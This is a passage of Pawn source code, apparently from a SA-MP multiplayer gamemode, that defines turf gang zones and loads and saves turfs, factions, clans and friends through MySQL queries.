	TurfsX[41] = CreateDynamicRectangle(1298.000000, 1035.000000, 1709.000000, 1496.000000, -1, 0);
	AllTurfsGangZones[457] = GangZoneCreate(1296.000000, 1037.000000, 1300.000000, 1494.000000);
	AllTurfsGangZones[458] = GangZoneCreate(1296.000000, 1494.000000, 1711.000000, 1498.000000);
	AllTurfsGangZones[459] = GangZoneCreate(1707.000000, 1037.000000, 1711.000000, 1494.000000);
	AllTurfsGangZones[460] = GangZoneCreate(1296.000000, 1033.000000, 1711.000000, 1037.000000);
	AllTurfsGangZones[461] = GangZoneCreate(1461.000000, 1285.000000, 1468.000000, 1269.000000);
	AllTurfsGangZones[462] = GangZoneCreate(1461.000000, 1262.000000, 1496.000000, 1269.000000);
	AllTurfsGangZones[463] = GangZoneCreate(1496.000000, 1245.000000, 1503.000000, 1285.000000);
	AllTurfsGangZones[464] = GangZoneCreate(1511.000000, 1242.000000, 1546.000000, 1249.000000);
	AllTurfsGangZones[465] = GangZoneCreate(1511.000000, 1289.000000, 1546.000000, 1282.000000);
	AllTurfsGangZones[466] = GangZoneCreate(1511.000000, 1249.000000, 1518.000000, 1282.000000);
	AllTurfsGangZones[467] = GangZoneCreate(1539.000000, 1249.000000, 1546.000000, 1282.000000);
	//AllTurfsGangZones[468] = GangZoneCreate(1713.000000, 1035.000000, 2124.000000, 1496.000000);
	Turfs[42] = GangZoneCreate(1713.000000, 1035.000000, 2124.000000, 1496.000000);// 468
	TurfsX[42] = CreateDynamicRectangle(1713.000000, 1035.000000, 2124.000000, 1496.000000, -1, 0);
	AllTurfsGangZones[469] = GangZoneCreate(1711.000000, 1037.000000, 1715.000000, 1494.000000);
	AllTurfsGangZones[470] = GangZoneCreate(1711.000000, 1494.000000, 2126.000000, 1498.000000);
	AllTurfsGangZones[471] = GangZoneCreate(2122.000000, 1037.000000, 2126.000000, 1494.000000);
	AllTurfsGangZones[472] = GangZoneCreate(1711.000000, 1033.000000, 2126.000000, 1037.000000);
	AllTurfsGangZones[473] = GangZoneCreate(1876.000000, 1285.000000, 1883.000000, 1269.000000);
	AllTurfsGangZones[474] = GangZoneCreate(1876.000000, 1262.000000, 1911.000000, 1269.000000);
	AllTurfsGangZones[475] = GangZoneCreate(1911.000000, 1245.000000, 1918.000000, 1285.000000);
	AllTurfsGangZones[476] = GangZoneCreate(1940.000000, 1242.000000, 1947.000000, 1289.000000);
	//AllTurfsGangZones[477] = GangZoneCreate(2128.000000, 1035.000000, 2539.000000, 1496.000000);
	Turfs[43] = GangZoneCreate(2128.000000, 1035.000000, 2539.000000, 1496.000000);// 477
	TurfsX[43] = CreateDynamicRectangle(2128.000000, 1035.000000, 2539.000000, 1496.000000, -1, 0);
	AllTurfsGangZones[478] = GangZoneCreate(2126.000000, 1037.000000, 2130.000000, 1494.000000);
	AllTurfsGangZones[479] = GangZoneCreate(2126.000000, 1494.000000, 2541.000000, 1498.000000);
	AllTurfsGangZones[480] = GangZoneCreate(2537.000000, 1037.000000, 2541.000000, 1494.000000);
	AllTurfsGangZones[481] = GangZoneCreate(2126.000000, 1033.000000, 2541.000000, 1037.000000);
	AllTurfsGangZones[482] = GangZoneCreate(2291.000000, 1285.000000, 2298.000000, 1269.000000);
	AllTurfsGangZones[483] = GangZoneCreate(2291.000000, 1262.000000, 2326.000000, 1269.000000);
	AllTurfsGangZones[484] = GangZoneCreate(2326.000000, 1245.000000, 2333.000000, 1285.000000);
	AllTurfsGangZones[485] = GangZoneCreate(2341.000000, 1282.000000, 2376.000000, 1289.000000);
	AllTurfsGangZones[486] = GangZoneCreate(2369.000000, 1269.000000, 2376.000000, 1282.000000);
	AllTurfsGangZones[487] = GangZoneCreate(2341.000000, 1262.000000, 2376.000000, 1269.000000);
	AllTurfsGangZones[488] = GangZoneCreate(2341.000000, 1249.000000, 2348.000000, 1262.000000);
	AllTurfsGangZones[489] = GangZoneCreate(2341.000000, 1242.000000, 2376.000000, 1249.000000);
	//AllTurfsGangZones[490] = GangZoneCreate(2543.000000, 1035.000000, 2904.000000, 1496.000000);
	Turfs[44] = GangZoneCreate(2543.000000, 1035.000000, 2904.000000, 1496.000000);// 490
	TurfsX[44] = CreateDynamicRectangle(2543.000000, 1035.000000, 2904.000000, 1496.000000, -1, 0);
	AllTurfsGangZones[491] = GangZoneCreate(2541.000000, 1037.000000, 2545.000000, 1494.000000);
	AllTurfsGangZones[492] = GangZoneCreate(2541.000000, 1494.000000, 2906.000000, 1498.000000);
	AllTurfsGangZones[493] = GangZoneCreate(2902.000000, 1037.000000, 2906.000000, 1494.000000);
	AllTurfsGangZones[494] = GangZoneCreate(2541.000000, 1033.000000, 2906.000000, 1037.000000);
	AllTurfsGangZones[495] = GangZoneCreate(2681.000000, 1285.000000, 2688.000000, 1269.000000);
	AllTurfsGangZones[496] = GangZoneCreate(2681.000000, 1262.000000, 2716.000000, 1269.000000);
	AllTurfsGangZones[497] = GangZoneCreate(2716.000000, 1245.000000, 2723.000000, 1285.000000);
	AllTurfsGangZones[498] = GangZoneCreate(2731.000000, 1282.000000, 2766.000000, 1289.000000);
	AllTurfsGangZones[499] = GangZoneCreate(2766.000000, 1242.000000, 2773.000000, 1289.000000);
	AllTurfsGangZones[500] = GangZoneCreate(2731.000000, 1262.000000, 2766.000000, 1269.000000);
	AllTurfsGangZones[501] = GangZoneCreate(2731.000000, 1242.000000, 2766.000000, 1249.000000);
	//AllTurfsGangZones[502] = GangZoneCreate(1298.000000, 620.000000, 1709.000000, 1031.000000);
	Turfs[45] = GangZoneCreate(1298.000000, 620.000000, 1709.000000, 1031.000000);// 502
	TurfsX[45] = CreateDynamicRectangle(1298.000000, 620.000000, 1709.000000, 1031.000000, -1, 0);
	AllTurfsGangZones[503] = GangZoneCreate(1296.000000, 622.000000, 1300.000000, 1029.000000);
	AllTurfsGangZones[504] = GangZoneCreate(1296.000000, 1029.000000, 1711.000000, 1033.000000);
	AllTurfsGangZones[505] = GangZoneCreate(1707.000000, 622.000000, 1711.000000, 1029.000000);
	AllTurfsGangZones[506] = GangZoneCreate(1296.000000, 618.000000, 1711.000000, 622.000000);
	AllTurfsGangZones[507] = GangZoneCreate(1461.000000, 845.000000, 1468.000000, 829.000000);
	AllTurfsGangZones[508] = GangZoneCreate(1461.000000, 822.000000, 1496.000000, 829.000000);
	AllTurfsGangZones[509] = GangZoneCreate(1496.000000, 805.000000, 1503.000000, 845.000000);
	AllTurfsGangZones[510] = GangZoneCreate(1511.000000, 845.000000, 1518.000000, 829.000000);
	AllTurfsGangZones[511] = GangZoneCreate(1511.000000, 822.000000, 1546.000000, 829.000000);
	AllTurfsGangZones[512] = GangZoneCreate(1546.000000, 805.000000, 1553.000000, 845.000000);
	//AllTurfsGangZones[513] = GangZoneCreate(1713.000000, 620.000000, 2124.000000, 1031.000000);
	Turfs[46] = GangZoneCreate(1713.000000, 620.000000, 2124.000000, 1031.000000);// 513
	TurfsX[46] = CreateDynamicRectangle(1713.000000, 620.000000, 2124.000000, 1031.000000, -1, 0);
	AllTurfsGangZones[514] = GangZoneCreate(1711.000000, 622.000000, 1715.000000, 1029.000000);
	AllTurfsGangZones[515] = GangZoneCreate(1711.000000, 1029.000000, 2126.000000, 1033.000000);
	AllTurfsGangZones[516] = GangZoneCreate(2122.000000, 622.000000, 2126.000000, 1029.000000);
	AllTurfsGangZones[517] = GangZoneCreate(1711.000000, 618.000000, 2126.000000, 622.000000);
	AllTurfsGangZones[518] = GangZoneCreate(1876.000000, 845.000000, 1883.000000, 829.000000);
	AllTurfsGangZones[519] = GangZoneCreate(1876.000000, 822.000000, 1911.000000, 829.000000);
	AllTurfsGangZones[520] = GangZoneCreate(1911.000000, 805.000000, 1918.000000, 845.000000);
	AllTurfsGangZones[521] = GangZoneCreate(1922.000000, 842.000000, 1964.000000, 849.000000);
	AllTurfsGangZones[522] = GangZoneCreate(1922.000000, 829.000000, 1929.000000, 842.000000);
	AllTurfsGangZones[523] = GangZoneCreate(1922.000000, 822.000000, 1964.000000, 829.000000);
	AllTurfsGangZones[524] = GangZoneCreate(1957.000000, 822.000000, 1964.000000, 809.000000);
	AllTurfsGangZones[525] = GangZoneCreate(1922.000000, 802.000000, 1964.000000, 809.000000);
	//AllTurfsGangZones[526] = GangZoneCreate(2128.000000, 620.000000, 2539.000000, 1031.000000);
	Turfs[47] = GangZoneCreate(2128.000000, 620.000000, 2539.000000, 1031.000000);// 526
	TurfsX[47] = CreateDynamicRectangle(2128.000000, 620.000000, 2539.000000, 1031.000000, -1, 0);
	AllTurfsGangZones[527] = GangZoneCreate(2126.000000, 622.000000, 2130.000000, 1029.000000);
	AllTurfsGangZones[528] = GangZoneCreate(2126.000000, 1029.000000, 2541.000000, 1033.000000);
	AllTurfsGangZones[529] = GangZoneCreate(2537.000000, 622.000000, 2541.000000, 1029.000000);
	AllTurfsGangZones[530] = GangZoneCreate(2126.000000, 618.000000, 2541.000000, 622.000000);
	AllTurfsGangZones[531] = GangZoneCreate(2291.000000, 845.000000, 2298.000000, 829.000000);
	AllTurfsGangZones[532] = GangZoneCreate(2291.000000, 822.000000, 2326.000000, 829.000000);
	AllTurfsGangZones[533] = GangZoneCreate(2326.000000, 805.000000, 2333.000000, 845.000000);
	AllTurfsGangZones[534] = GangZoneCreate(2341.000000, 842.000000, 2376.000000, 849.000000);
	AllTurfsGangZones[535] = GangZoneCreate(2334.000000, 849.000000, 2341.000000, 802.000000);
	AllTurfsGangZones[536] = GangZoneCreate(2341.000000, 822.000000, 2376.000000, 829.000000);
	AllTurfsGangZones[537] = GangZoneCreate(2341.000000, 802.000000, 2376.000000, 809.000000);
	AllTurfsGangZones[538] = GangZoneCreate(2369.000000, 809.000000, 2376.000000, 822.000000);
	//AllTurfsGangZones[539] = GangZoneCreate(2543.000000, 620.000000, 2904.000000, 1031.000000);
	Turfs[48] = GangZoneCreate(2543.000000, 620.000000, 2904.000000, 1031.000000);// 539
	TurfsX[48] = CreateDynamicRectangle(2543.000000, 620.000000, 2904.000000, 1031.000000, -1, 0);
	AllTurfsGangZones[540] = GangZoneCreate(2541.000000, 622.000000, 2545.000000, 1029.000000);
	AllTurfsGangZones[541] = GangZoneCreate(2541.000000, 1029.000000, 2906.000000, 1033.000000);
	AllTurfsGangZones[542] = GangZoneCreate(2902.000000, 622.000000, 2906.000000, 1029.000000);
	AllTurfsGangZones[543] = GangZoneCreate(2541.000000, 618.000000, 2906.000000, 622.000000);
	AllTurfsGangZones[544] = GangZoneCreate(2681.000000, 845.000000, 2688.000000, 829.000000);
	AllTurfsGangZones[545] = GangZoneCreate(2681.000000, 822.000000, 2716.000000, 829.000000);
	AllTurfsGangZones[546] = GangZoneCreate(2716.000000, 805.000000, 2723.000000, 845.000000);
	AllTurfsGangZones[547] = GangZoneCreate(2755.000000, 802.000000, 2762.000000, 842.000000);
	AllTurfsGangZones[548] = GangZoneCreate(2727.000000, 842.000000, 2762.000000, 849.000000);
	
	   /*Turfs[0] = GangZoneCreate(1324.000000, -1368.000000, 1725.000000, -912.000000);// 0
	   TurfsX[0] = CreateDynamicRectangle(1324.000000, -1368.000000, 1725.000000, -912.000000);
	   
	   Turfs[1] = GangZoneCreate(1729.000000, -1368.000000, 2130.000000, -912.000000);// 9
	   TurfsX[1] = CreateDynamicRectangle(1729.000000, -1368.000000, 2130.000000, -912.000000);
	
	   Turfs[2] = GangZoneCreate(2134.000000, -1368.000000, 2535.000000, -912.000000);// 15
	   TurfsX[2] = CreateDynamicRectangle(2134.000000, -1368.000000, 2535.000000, -912.000000);
	   
	   Turfs[3] = GangZoneCreate(1324.000000, -1828.000000, 1725.000000, -1372.000000);// 25
	   TurfsX[3] = CreateDynamicRectangle(1324.000000, -1828.000000, 1725.000000, -1372.000000);
	   
	   Turfs[4] = GangZoneCreate(1729.000000, -1828.000000, 2130.000000, -1372.000000);// 34
	   TurfsX[4] = CreateDynamicRectangle(1729.000000, -1828.000000, 2130.000000, -1372.000000);

	   Turfs[5] = GangZoneCreate(2134.000000, -1828.000000, 2535.000000, -1372.000000);// 42
	   TurfsX[5] = CreateDynamicRectangle(1729.000000, -1828.000000, 2130.000000, -1372.000000);

	   Turfs[6] = GangZoneCreate(1324.000000, -2288.000000, 1725.000000, -1832.000000);// 52
	   TurfsX[6] = CreateDynamicRectangle(1324.000000, -2288.000000, 1725.000000, -1832.000000);

	   Turfs[7] = GangZoneCreate(1729.000000, -2288.000000, 2130.000000, -1832.000000);// 62
	   TurfsX[7] = CreateDynamicRectangle(1729.000000, -2288.000000, 2130.000000, -1832.000000);
	   
	   Turfs[8] = GangZoneCreate(2134.000000, -2288.000000, 2535.000000, -1832.000000);// 69
	   TurfsX[8] = CreateDynamicRectangle(2134.000000, -2288.000000, 2535.000000, -1832.000000);
	   
	   Turfs[9] = GangZoneCreate(1324.000000, -2748.000000, 1725.000000, -2292.000000);// 79
	   TurfsX[9] = CreateDynamicRectangle(1324.000000, -2748.000000, 1725.000000, -2292.000000);
	   
	   Turfs[10] = GangZoneCreate(1729.000000, -2748.000000, 2130.000000, -2292.000000);// 89
	   TurfsX[10] = CreateDynamicRectangle(1729.000000, -2748.000000, 2130.000000, -2292.000000);

	   Turfs[11] = GangZoneCreate(2134.000000, -2748.000000, 2535.000000, -2292.000000);// 99
	   TurfsX[11] = CreateDynamicRectangle(2134.000000, -2748.000000, 2535.000000, -2292.000000);
	   
	   Turfs[12] = GangZoneCreate(2539.000000, -1339.000000, 2947.000000, -912.000000);// 106
	   TurfsX[12] = CreateDynamicRectangle(2539.000000, -1339.000000, 2947.000000, -912.000000);
	   
	   Turfs[13] = GangZoneCreate(2539.000000, -1752.000000, 2947.000000, -1334.000000);// 117
	   TurfsX[13] = CreateDynamicRectangle(2539.000000, -1752.000000, 2947.000000, -1334.000000);
	   
	   Turfs[14] = GangZoneCreate(2539.000000, -2174.000000, 2947.000000, -1756.000000);// 127
	   TurfsX[14] = CreateDynamicRectangle(2539.000000, -2174.000000, 2947.000000, -1756.000000);
	   
	   Turfs[15] = GangZoneCreate(2539.000000, -2564.000000, 2947.000000, -2178.000000);// 136
	   TurfsX[15] = CreateDynamicRectangle(2539.000000, -2564.000000, 2947.000000, -2178.000000);
	   
	   Turfs[16] = GangZoneCreate(95.000000, -1368.000000, 496.000000, -912.000000);// 147
	   TurfsX[16] = CreateDynamicRectangle(95.000000, -1368.000000, 496.000000, -912.000000);

	   Turfs[17] = GangZoneCreate(500.000000, -1368.000000, 901.000000, -912.000000);// 158
	   TurfsX[17] = CreateDynamicRectangle(500.000000, -1368.000000, 901.000000, -912.000000);
	   
	   Turfs[18] = GangZoneCreate(905.000000, -1318.000000, 1321.000000, -912.000000);// 166
	   TurfsX[18] = CreateDynamicRectangle(905.000000, -1318.000000, 1321.000000, -912.000000);

	   Turfs[19] = GangZoneCreate(905.000000, -1728.000000, 1321.000000, -1322.000000);// 177
	   TurfsX[19] = GangZoneCreate(905.000000, -1728.000000, 1321.000000, -1322.000000);

	   Turfs[20] = GangZoneCreate(905.000000, -2138.000000, 1321.000000, -1732.000000);// 188
	   TurfsX[20] = CreateDynamicRectangle(905.000000, -2138.000000, 1321.000000, -1732.000000);

	   Turfs[21] = GangZoneCreate(905.000000, -2548.000000, 1321.000000, -2142.000000);// 202
	   TurfsX[21] = CreateDynamicRectangle(905.000000, -2548.000000, 1321.000000, -2142.000000);

	   Turfs[22] = GangZoneCreate(500.000000, -1828.000000, 901.000000, -1372.000000);// 213
	   TurfsX[22] = CreateDynamicRectangle(500.000000, -1828.000000, 901.000000, -1372.000000);

	   Turfs[23] = GangZoneCreate(95.000000, -1828.000000, 496.000000, -1372.000000);// 228
	   TurfsX[23] = CreateDynamicRectangle(95.000000, -1828.000000, 496.000000, -1372.000000);

	   Turfs[24] = GangZoneCreate(1133.000000, 2430.000000, 1484.000000, 2886.000000);// 242
	   TurfsX[24] = CreateDynamicRectangle(1133.000000, 2430.000000, 1484.000000, 2886.000000);

	   Turfs[25] = GangZoneCreate(1488.000000, 2430.000000, 1839.000000, 2886.000000);// 255
	   TurfsX[25] = CreateDynamicRectangle(1488.000000, 2430.000000, 1839.000000, 2886.000000);

	   Turfs[26] = GangZoneCreate(1843.000000, 2430.000000, 2194.000000, 2886.000000);// 270
	   TurfsX[26] = CreateDynamicRectangle(1843.000000, 2430.000000, 2194.000000, 2886.000000);

	   Turfs[27] = GangZoneCreate(2198.000000, 2430.000000, 2549.000000, 2886.000000);// 285
	   TurfsX[27] = CreateDynamicRectangle(2198.000000, 2430.000000, 2549.000000, 2886.000000);

	   Turfs[28] = GangZoneCreate(2553.000000, 2430.000000, 2904.000000, 2886.000000);// 297
	   TurfsX[28] = CreateDynamicRectangle(2553.000000, 2430.000000, 2904.000000, 2886.000000);

	   Turfs[29] = GangZoneCreate(883.000000, 1965.000000, 1294.000000, 2426.000000);// 312
	   TurfsX[29] = CreateDynamicRectangle(883.000000, 1965.000000, 1294.000000, 2426.000000);

	   Turfs[30] = GangZoneCreate(1298.000000, 1965.000000, 1709.000000, 2426.000000);// 327
	   TurfsX[30] = CreateDynamicRectangle(1298.000000, 1965.000000, 1709.000000, 2426.000000);

	   Turfs[31] = GangZoneCreate(1713.000000, 1965.000000, 2124.000000, 2426.000000);// 340
	   TurfsX[31] = CreateDynamicRectangle(1713.000000, 1965.000000, 2124.000000, 2426.000000);

	   Turfs[32] = GangZoneCreate(2128.000000, 1965.000000, 2539.000000, 2426.000000);// 350
	   TurfsX[32] = CreateDynamicRectangle(2128.000000, 1965.000000, 2539.000000, 2426.000000);

	   Turfs[34] = GangZoneCreate(2543.000000, 1965.000000, 2904.000000, 2426.000000);// 364
	   TurfsX[34] = CreateDynamicRectangle(2543.000000, 1965.000000, 2904.000000, 2426.000000);

	   Turfs[35] = GangZoneCreate(883.000000, 1500.000000, 1294.000000, 1961.000000);// 377
	   TurfsX[35] = CreateDynamicRectangle(883.000000, 1500.000000, 1294.000000, 1961.000000);

	   Turfs[36] = GangZoneCreate(1298.000000, 1500.000000, 1709.000000, 1961.000000);// 389
	   TurfsX[36] = CreateDynamicRectangle(1298.000000, 1500.000000, 1709.000000, 1961.000000);
//
	   Turfs[37] = GangZoneCreate(1713.000000, 1500.000000, 2124.000000, 1961.000000);// 403
	   TurfsX[37] = CreateDynamicRectangle(1713.000000, 1500.000000, 2124.000000, 1961.000000);

	   Turfs[38] = GangZoneCreate(2128.000000, 1500.000000, 2539.000000, 1961.000000);// 417
	   TurfsX[38] = CreateDynamicRectangle(2128.000000, 1500.000000, 2539.000000, 1961.000000);

	   Turfs[39] = GangZoneCreate(2543.000000, 1500.000000, 2904.000000, 1961.000000);// 428
	   TurfsX[39] = CreateDynamicRectangle(2543.000000, 1500.000000, 2904.000000, 1961.000000);

	   Turfs[40] = GangZoneCreate(883.000000, 1035.000000, 1294.000000, 1496.000000);// 442
	   TurfsX[40] = CreateDynamicRectangle(883.000000, 1035.000000, 1294.000000, 1496.000000);

	   Turfs[41] = GangZoneCreate(1298.000000, 1035.000000, 1709.000000, 1496.000000);// 456
	   TurfsX[41] = CreateDynamicRectangle(1298.000000, 1035.000000, 1709.000000, 1496.000000);

	   Turfs[42] = GangZoneCreate(1713.000000, 1035.000000, 2124.000000, 1496.000000);// 468
	   TurfsX[42] = CreateDynamicRectangle(1713.000000, 1035.000000, 2124.000000, 1496.000000);

	   Turfs[43] = GangZoneCreate(2128.000000, 1035.000000, 2539.000000, 1496.000000);// 477
	   TurfsX[43] = CreateDynamicRectangle(2128.000000, 1035.000000, 2539.000000, 1496.000000);

	   Turfs[44] = GangZoneCreate(2543.000000, 1035.000000, 2904.000000, 1496.000000);// 490
	   TurfsX[44] = CreateDynamicRectangle(2543.000000, 1035.000000, 2904.000000, 1496.000000);

	   Turfs[45] = GangZoneCreate(1298.000000, 620.000000, 1709.000000, 1031.000000);// 502
	   TurfsX[45] = CreateDynamicRectangle(1298.000000, 620.000000, 1709.000000, 1031.000000);

	   Turfs[46] = GangZoneCreate(1713.000000, 620.000000, 2124.000000, 1031.000000);// 513
	   TurfsX[46] = CreateDynamicRectangle(1713.000000, 620.000000, 2124.000000, 1031.000000);

	   Turfs[47] = GangZoneCreate(2128.000000, 620.000000, 2539.000000, 1031.000000);// 526
	   TurfsX[47] = CreateDynamicRectangle(2128.000000, 620.000000, 2539.000000, 1031.000000);

	   Turfs[48] = GangZoneCreate(2543.000000, 620.000000, 2904.000000, 1031.000000);// 539
	   TurfsX[48] = CreateDynamicRectangle(2543.000000, 620.000000, 2904.000000, 1031.000000);*/
	   
/*V15 = GangZoneCreate();
V16 = GangZoneCreate();
V17 = GangZoneCreate();
V18 = GangZoneCreate();
V19 = GangZoneCreate();
V20 = GangZoneCreate();
V21 = GangZoneCreate();*/

//C9 = GangZoneCreate(0, 0, 0, 0);
//meshki = GangZoneCreate(1212.890625,-2724.609375,2279.296875,-1822.265625);
print("\nAll Turfs Loaded.\n");
return 1;
}
forward OnMeetingsLoad();
public OnMeetingsLoad()
{
for(new i = 0;i<cache_get_row_count(handle);i++)
{
MeetInfo[i+1][mFaction] = cache_get_row_int(i,0,handle);
MeetInfo[i+1][mYear] = cache_get_row_int(i,1,handle);
MeetInfo[i+1][mMonth] = cache_get_row_int(i,2,handle);
MeetInfo[i+1][mDay] = cache_get_row_int(i,3,handle);
MeetInfo[i+1][mHour] = cache_get_row_int(i,4,handle);
MeetInfo[i+1][mMinute] = cache_get_row_int(i,5,handle);
MeetInfo[i+1][mSecond] = cache_get_row_int(i,6,handle);
MeetInfo[i+1][mMeeting] = cache_get_row_int(i,7,handle);
}
print("\nAll Meetings Loaded.\n");
printf("\n%s %s gamemode loaded.\n", SERVER_NAME1, SERVER_NAME2);
print("\nScripter: MoeinBig.\n\n");
print("\nSite: Bigdev.ir.\n\n");
return 1;
}
public SaveTurfs(turfid)
{
	new query[256];
	mysql_format(handle, query,256,"UPDATE `turfs` SET zOwner='%e' WHERE `id`='%d'",TurfInfo[turfid][zOwner],turfid);
	mysql_function_query(handle,query,false,"SendQuery","");
	mysql_format(handle, query,256,"UPDATE `turfs` SET zMinX='%.4f' WHERE `id`='%d'",TurfInfo[turfid][zMinX],turfid);
	mysql_function_query(handle,query,false,"SendQuery","");
	mysql_format(handle, query,256,"UPDATE `turfs` SET zMinY='%.4f' WHERE `id`='%d'",TurfInfo[turfid][zMinY],turfid);
	mysql_function_query(handle,query,false,"SendQuery","");
	mysql_format(handle, query,256,"UPDATE `turfs` SET zMaxX='%.4f' WHERE `id`='%d'",TurfInfo[turfid][zMaxX],turfid);
	mysql_function_query(handle,query,false,"SendQuery","");
	mysql_format(handle, query,256,"UPDATE `turfs` SET zMaxY='%.4f' WHERE `id`='%d'",TurfInfo[turfid][zMaxY],turfid);
	mysql_function_query(handle,query,false,"SendQuery","");
	mysql_format(handle, query,256,"UPDATE `turfs` SET zAttakcer='%d' WHERE `id`='%d'",TurfInfo[turfid][zAttacker],turfid);
	mysql_function_query(handle,query,false,"SendQuery","");
	return 1;
}
/*----------------------------------------------------------------------------*/
public LoadDynamicFactions()
{
	print("\nLoading Factions/Families ...\n");
	mysql_function_query(handle,"SELECT * FROM `factions`",true,"OnDynamicFactionsLoad","");
	return 1;
}
forward OnDynamicFactionsLoad();
public OnDynamicFactionsLoad()
{
for(new i = 0;i<cache_get_row_count(handle); i++)
{
DynamicFactions[i][fSQLid] = i;
cache_get_row(i,1,DynamicFactions[i][fName],handle,50);
DynamicFactions[i][ffX] = cache_get_row_float(i,2,handle);
DynamicFactions[i][ffY] = cache_get_row_float(i,3,handle);
DynamicFactions[i][ffZ] = cache_get_row_float(i,4,handle);
DynamicFactions[i][fMats] = cache_get_row_int(i,5,handle);
DynamicFactions[i][fDrugs] = cache_get_row_int(i,6,handle);
DynamicFactions[i][fBank] = cache_get_row_int(i,7,handle);
DynamicFactions[i][fTurf] = cache_get_row_int(i,8,handle);
DynamicFactions[i][fMinLevel] = cache_get_row_int(i,9,handle);
DynamicFactions[i][fApplication] = cache_get_row_int(i,10,handle);
DynamicFactions[i][fMaxMembers] = cache_get_row_int(i,11,handle);


}
print("\nAll Dynamic Factions Loaded.\n");
return 1;
}
public SaveDynamicFactions(factionid)
{
new query[256];
mysql_format(handle, query,256,"UPDATE `factions` SET fName='%e' WHERE `id`='%d'",DynamicFactions[factionid][fName],factionid);
mysql_function_query(handle,query,false,"SendQuery","");
mysql_format(handle, query,256,"UPDATE `factions` SET fX='%.4f' WHERE `id`='%d'",DynamicFactions[factionid][ffX],factionid);
mysql_function_query(handle,query,false,"SendQuery","");
mysql_format(handle, query,256,"UPDATE `factions` SET fY='%.4f' WHERE `id`='%d'",DynamicFactions[factionid][ffY],factionid);
mysql_function_query(handle,query,false,"SendQuery","");
mysql_format(handle, query,256,"UPDATE `factions` SET fZ='%.4f' WHERE `id`='%d'",DynamicFactions[factionid][ffZ],factionid);
mysql_function_query(handle,query,false,"SendQuery","");
mysql_format(handle, query,256,"UPDATE `factions` SET fMats='%d' WHERE `id`='%d'",DynamicFactions[factionid][fMats],factionid);
mysql_function_query(handle,query,false,"SendQuery","");
mysql_format(handle, query,256,"UPDATE `factions` SET fDrugs='%d' WHERE `id`='%d'",DynamicFactions[factionid][fDrugs],factionid);
mysql_function_query(handle,query,false,"SendQuery","");
mysql_format(handle, query,256,"UPDATE `factions` SET fBank='%d' WHERE `id`='%d'",DynamicFactions[factionid][fBank],factionid);
mysql_function_query(handle,query,false,"SendQuery","");
mysql_format(handle, query,256,"UPDATE `factions` SET fTurf='%d' WHERE `id`='%d'",DynamicFactions[factionid][fTurf],factionid);
mysql_function_query(handle,query,false,"SendQuery","");
mysql_format(handle, query,256,"UPDATE `factions` SET fMinLevel='%d' WHERE `id`='%d'",DynamicFactions[factionid][fMinLevel],factionid);
mysql_function_query(handle,query,false,"SendQuery","");
mysql_format(handle, query,256,"UPDATE `factions` SET fApplication='%d' WHERE `id`='%d'",DynamicFactions[factionid][fApplication],factionid);
mysql_function_query(handle,query,false,"SendQuery","");
mysql_format(handle, query,256,"UPDATE `factions` SET fMaxMembers='%d' WHERE `id`='%d'",DynamicFactions[factionid][fMaxMembers],factionid);
mysql_function_query(handle,query,false,"SendQuery","");


return 1;
}

// Clan DB

public LoadDynamicClans()
{
	print("\nLoading Clans ...\n");
	mysql_function_query(handle,"SELECT * FROM `clans`",true,"OnDynamicClansLoad","");
	return 1;
}
forward OnDynamicClansLoad();
public OnDynamicClansLoad()
{
TedadClans = cache_get_row_count(handle);
for(new i = 0;i<cache_get_row_count(handle); i++)
{
DynamicClans[i][cSQLid] = i;
cache_get_row(i,1,DynamicClans[i][cName],handle,50);
cache_get_row(i,2,DynamicClans[i][cTag],handle,50);
DynamicClans[i][cSlot] = cache_get_row_int(i,3,handle);
DynamicClans[i][cSlots] = cache_get_row_int(i,4,handle);
DynamicClans[i][cBB] = cache_get_row_int(i,5,handle);
cache_get_row(i,6,DynamicClans[i][cColor],handle,50);
cache_get_row(i,7,DynamicClans[i][cCreate],handle,24);
DynamicClans[i][cExpire] = cache_get_row_int(i,8,handle);
}
print("\nAll Clans Loaded.\n");
return 1;
}
public SaveDynamicClans(cid)
{
new query[256];
mysql_format(handle, query,256,"UPDATE `clans` SET cName='%e' WHERE `cSQLid`='%d'",DynamicClans[cid][cName],cid);
mysql_function_query(handle,query,false,"SendQuery","");
mysql_format(handle, query,256,"UPDATE `clans` SET cTag='%e' WHERE `cSQLid`='%d'",DynamicClans[cid][cTag],cid);
mysql_function_query(handle,query,false,"SendQuery","");
mysql_format(handle, query,256,"UPDATE `clans` SET cSlot='%d' WHERE `cSQLid`='%d'",DynamicClans[cid][cSlot],cid);
mysql_function_query(handle,query,false,"SendQuery","");
mysql_format(handle, query,256,"UPDATE `clans` SET cSlots='%d' WHERE `cSQLid`='%d'",DynamicClans[cid][cSlots],cid);
mysql_function_query(handle,query,false,"SendQuery","");
mysql_format(handle, query,256,"UPDATE `clans` SET cBB='%d' WHERE `cSQLid`='%d'",DynamicClans[cid][cBB],cid);
mysql_function_query(handle,query,false,"SendQuery","");
mysql_format(handle, query,256,"UPDATE `clans` SET cColor='%e' WHERE `cSQLid`='%d'",DynamicClans[cid][cColor],cid);
mysql_function_query(handle,query,false,"SendQuery","");
return 1;
}

// End Clan DB


public LoadFriends()
{
	print("\nLoading Clans ...\n");
	mysql_function_query(handle,"SELECT * FROM `friends`",true,"OnFriendsLoad","");
	return 1;
}
forward OnFriendsLoad();
public OnFriendsLoad()
{
for(new i = 0;i<cache_get_row_count(handle); i++)
{
fInfo[i][fID] = cache_get_row_int(i,1,handle);
cache_get_row(i,2,fInfo[i][pName],handle,50);
cache_get_row(i,3,fInfo[i][pFriend],handle,50);
fInfo[i][pOnline] = cache_get_row_int(i,4,handle);
fInfo[i][pID] = cache_get_row_int(i,5,handle);
}
print("\nAll Friends Loaded.\n");
return 1;
}
public SaveFriends(fid)
{
new query[256];

mysql_format(handle, query,256,"UPDATE `friends` SET fID='%d' WHERE `fID`='%d'",fInfo[fid][fID],fid);
mysql_function_query(handle,query,false,"SendQuery","");

mysql_format(handle, query,256,"UPDATE `friends` SET pName='%e' WHERE `fID`='%d'",fInfo[fid][pName],fid);
mysql_function_query(handle,query,false,"SendQuery","");

mysql_format(handle, query,256,"UPDATE `friends` SET pFriend='%e' WHERE `fID`='%d'",fInfo[fid][pFriend],fid);
mysql_function_query(handle,query,false,"SendQuery","");

mysql_format(handle, query,256,"UPDATE `friends` SET pOnline='%d' WHERE `fID`='%d'",fInfo[fid][pOnline],fid);
mysql_function_query(handle,query,false,"SendQuery","");

mysql_format(handle, query,256,"UPDATE `friends` SET pID='%d' WHERE `fID`='%d'",fInfo[fid][pID],fid);
mysql_function_query(handle,query,false,"SendQuery","");
return 1;
}
public LoadSprays()
